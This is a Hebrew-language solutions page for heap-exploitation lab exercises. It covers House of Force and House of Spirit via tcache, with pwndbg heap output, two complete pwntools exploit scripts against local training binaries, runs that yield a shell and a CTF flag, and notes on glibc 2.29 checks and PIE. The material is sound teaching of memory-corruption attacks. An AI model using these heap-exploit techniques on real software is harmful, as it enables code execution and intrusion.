7.5 גלישת heap וטכניקות House of פתרון
פתרון - overflow heap וטכניקות House of¶
נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא לשתי הטכניקות. הכתובות בפלט הן דוגמה - אצלכם הן ישתנו בין הרצות (ASLR של ה-heap וה-stack), אז תמיד שלפו אותן מהleak ואל תקבעו אותן קשיח.
פתרון תרגיל 1 - למפות את ה-heap¶
בדיקת ההגנות:
עכשיו מסתכלים על ה-heap ב-gdb. שמים breakpoint על ההוראה שאחרי ה-malloc(0x18) הראשון (או פשוט על read), ומריצים:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555559000
Size: 0x291 <-- tcache_perthread_struct
Allocated chunk | PREV_INUSE
Addr: 0x555555559290
Size: 0x21 <-- chunk A (malloc(0x18))
Top chunk | PREV_INUSE
Addr: 0x5555555592b0 <-- the top chunk
Size: 0x20d51
והleak של התוכנית:
שימו לב: הleak a = 0x5555555592a0 היא ה-mem של chunk A, וכותרת ה-top יושבת ב-0x5555555592b0. ההפרש הוא בדיוק 0x10. הסיבה: malloc(0x18) מקבל chunk בגודל 0x20 (כותרת 0x10 + נתונים 0x18 מעוגלים ל-0x10... ליתר דיוק, 0x18 נתונים נכנסים ב-chunk 0x20 כי הבית האחרון חופף ל-prev_size של השכן). כותרת A ב-a - 0x10, ה-top ב-(a - 0x10) + 0x20 = a + 0x10. לכן top = leak + 0x10.
פתרון תרגיל 2 - לדרוס את גודל ה-top¶
מ-a צריך 0x18 בתים כדי למלא את הנתונים של A ואת ה-prev_size של ה-top (a+0x10), ואז 8 בתים נוספים שדורסים את שדה ה-size של ה-top (a+0x18):
מאמתים ב-gdb אחרי ה-read:
pwndbg> top
Top chunk | PREV_INUSE
Addr: 0x5555555592b0
Size: 0xffffffffffffffff <-- success, the top is now "infinite"
פתרון תרגיל 3 - להזיז את ה-top ליעד¶
מחשבים את היעד ואת הגודל המרושע:
target = elf.symbols['hook'] # e.g. 0x404040, aligned to 16
evil_size = (target - 0x10 - top) & 0xffffffffffffffff
מכיוון ש-target (ב-bss, סביב 0x404040) נמוך בהרבה מה-top (ב-heap, סביב 0x555555...), ההפרש שלילי, וה-mask הופך אותו למספר unsigned ענק. שולחים אותו בעשרוני:
מאמתים אחרי ה-malloc(n):
אם ה-top נחת על 0x404038 או 0x404028 במקום 0x404030, זה עיגול של request2size. פשוט מוסיפים/מחסירים את ההפרש מ-evil_size וחוזרים. ברוב הגרסאות עם יעד aligned ל-16 זה נוחת בול.
פתרון תרגיל 4 - הפיצוח המלא¶
הנה ה-exploit השלם:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./hof')
p = process('./hof')
# 1) leak of heap address and computing the top
leak = int(p.recvline_startswith(b'[leak]').split(b'= ')[1], 16)
top = leak + 0x10
target = elf.symbols['hook']
log.info('heap a = %#x', leak)
log.info('top = %#x', top)
log.info('target = %#x', target)
# 2) overflow: overwrite the top's size to -1
p.recvuntil(b'[1] overflow: ')
p.send(b'A' * 0x18 + p64(0xffffffffffffffff))
# 3) malloc with a size that moves the top to target-0x10
evil_size = (target - 0x10 - top) & 0xffffffffffffffff
p.recvuntil(b'[2] size: ')
p.sendline(str(evil_size).encode())
# 4) the next allocation returns &hook; we write win there
p.recvuntil(b'[3] data: ')
p.send(p64(elf.symbols['win']))
p.interactive()
הרצה:
[*] heap a = 0x5555555592a0
[*] top = 0x5555555592b0
[*] target = 0x404040
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ cat flag.txt
FLAG{forced_the_top_chunk}
למה זה עבד: דרסנו את גודל ה-top ל--1, אז בדיקת הגודל של malloc עברה לכל בקשה. ה-malloc(evil_size) קידם את ה-top בדיוק אל target - 0x10, וה-malloc(0x18) שאחריו חתך משם והחזיר מצביע ל-&hook. הכתיבה שם החליפה את המצביע ב-win, ובסוף main הקריאה if (hook) hook() הפעילה shell. איך להכליל: House of Force הופך overflow עד ה-top ל-malloc בכתובת שרירותית. היעד לא חייב להיות hook - זה יכול להיות כניסת GOT, __malloc_hook (בגרסאות ישנות), או return address. הדבר היחיד שמגביל הוא שהיעד חייב להיות aligned ל-16, וש-glibc הוא 2.28 ומטה.
פתרון תרגיל 5 - House of Spirit דרך tcache¶
קודם מציירים את ה-chunk המזויף ומשחררים אותו. הרעיון: המצביע &fake[2] הוא ה-mem של chunk שכותרתו ב-&fake[0], ושדה ה-size שלו ב-&fake[1]. שמים שם 0x41.
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./hos')
p = process('./hos')
# 1) leak of the stack address
leak = int(p.recvline_startswith(b'[stack]').split(b'= ')[1], 16)
fake_mem = leak + 0x10 # &fake[2] - this is what gets freed and what malloc will return
log.info('fake @ %#x', leak)
log.info('fake_mem = %#x', fake_mem)
# 2) drawing the fake chunk: size=0x41 at fake[1]
setup = p64(0) # fake[0] - prev_size, not checked
setup += p64(0x41) # fake[1] - size of a 0x40 chunk, PREV_INUSE set
setup += b'\x00' * (0x80 - 0x10) # rest of the buffer - not important for this stage
p.recvuntil(b'[1] setup: ')
p.send(setup)
# 3) House of Spirit: free(&fake[2])
p.recvuntil(b'[2] free: ')
p.sendline(str(fake_mem).encode())
# 4) malloc(0x30) returns &fake[2]; we overflow from it to the return address
OFF = 0x28 # offset from &fake[2] to the return address (see below)
payload = b'B' * OFF
payload += p64(elf.symbols['win'])
p.recvuntil(b'[3] data: ')
p.send(payload)
p.interactive()
איך מצאנו את ה-OFF = 0x28? עם cyclic, בדיוק כמו בoverflow מחסנית. מריצים גרסה שleaks core:
# one-off measurement version
p.recvuntil(b'[3] data: ')
p.send(cyclic(0x100))
p.wait()
core = p.corefile
log.info('offset = %d', cyclic_find(core.read(core.rsp - 8, 8)))
הפלט:
כלומר 0x28 בתים מ-&fake[2] עד כתובת החזרה של main. שימו לב: המצביע שחזר הוא &fake[2], שהוא בתוך המערך המקומי fake, שיושב מתחת ל-saved rbp ולכתובת החזרה. לכן כתיבה קדימה מ-&fake[2] מגיעה לכתובת החזרה. אמות ב-gdb ש-malloc(0x30) באמת החזיר את fake_mem:
הרצה:
[*] fake @ 0x7fffffffe000
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
למה זה עבד: שדה ה-size = 0x41 הכניס את ה-chunk לטווח tcache של 0x40. מסלול ה-tcache ב-_int_free בדק רק alignment וגודל תקין - לא את ה-chunk הפיזי הבא - אז ה-free עבר חלק, למרות שהכתובת על המחסנית. אחר כך malloc(0x30) שלף בדיוק את ה-chunk הזה מה-tcache והחזיר את &fake[2]. איך להכליל: House of Spirit הופך "free על מצביע שאני שולט בו" ל-"malloc שמחזיר לי כתובת שבחרתי". כאן כיוונו את ה-chunk המזויף למחסנית כדי לחפוף לכתובת החזרה, אבל אותו רעיון עובד גם על struct ב-bss או chunk ב-heap.
פתרון תרגיל 6 - גבולות וגרסאות¶
1. hof על glibc 2.31. בשלב ה-malloc(n) התוכנית מתה עם:
זו הבדיקה שנוספה ב-glibc 2.29: לפני שחותכים מה-top, glibc מוודא ש-chunksize(top) <= av->system_mem. ה-size = 0xffffffffffffffff שלנו גדול בהרבה מכמות הזיכרון של ה-arena, אז הבדיקה תופסת אותנו מיד. זו הסיבה ש-House of Force מת בגרסאות מודרניות, ולמה עוברים ל-House of Spirit או לתקיפות tcache.
2. hos על glibc 2.23 (בלי tcache). תרגיל 5 לא היה עובד כמו שהוא. בלי tcache, free של chunk בגודל fastbin עובר במסלול ה-fastbin, שבודק גם את ה-size של ה-chunk הפיזי הבא (ב-fake + 0x40, כלומר &fake[9]) - הוא חייב להיות גדול מ-0x10 וקטן מ-av->system_mem. לכן היינו צריכים לצייר גם אותו:
setup = p64(0) # fake[0]
setup += p64(0x41) # fake[1] - size of the fake chunk
setup += b'\x00' * 0x30 # fake[2..7] - data
setup += p64(0) # fake[8] - prev_size of the "next" chunk
setup += p64(0x41) # fake[9] - size of the "next" chunk, passes the check
3. hof עם PIE. אם הבינארי היה מקומפל עם PIE, הכתובות של win ו-hook כבר לא קבועות - הן base + offset עם base אקראי בכל הרצה. טכניקת ה-House of Force עצמה לא משתנה, אבל היינו צריכים קודם לleak את בסיס הקוד (למשל דרך חולשת format string או leak מצביע), ואז לחשב target = pie_base + elf.symbols['hook']. הלקח: הטכניקה אורתוגונלית לשאלה מאיפה מגיעות הכתובות - PIE רק מוסיף שלב leak לפני.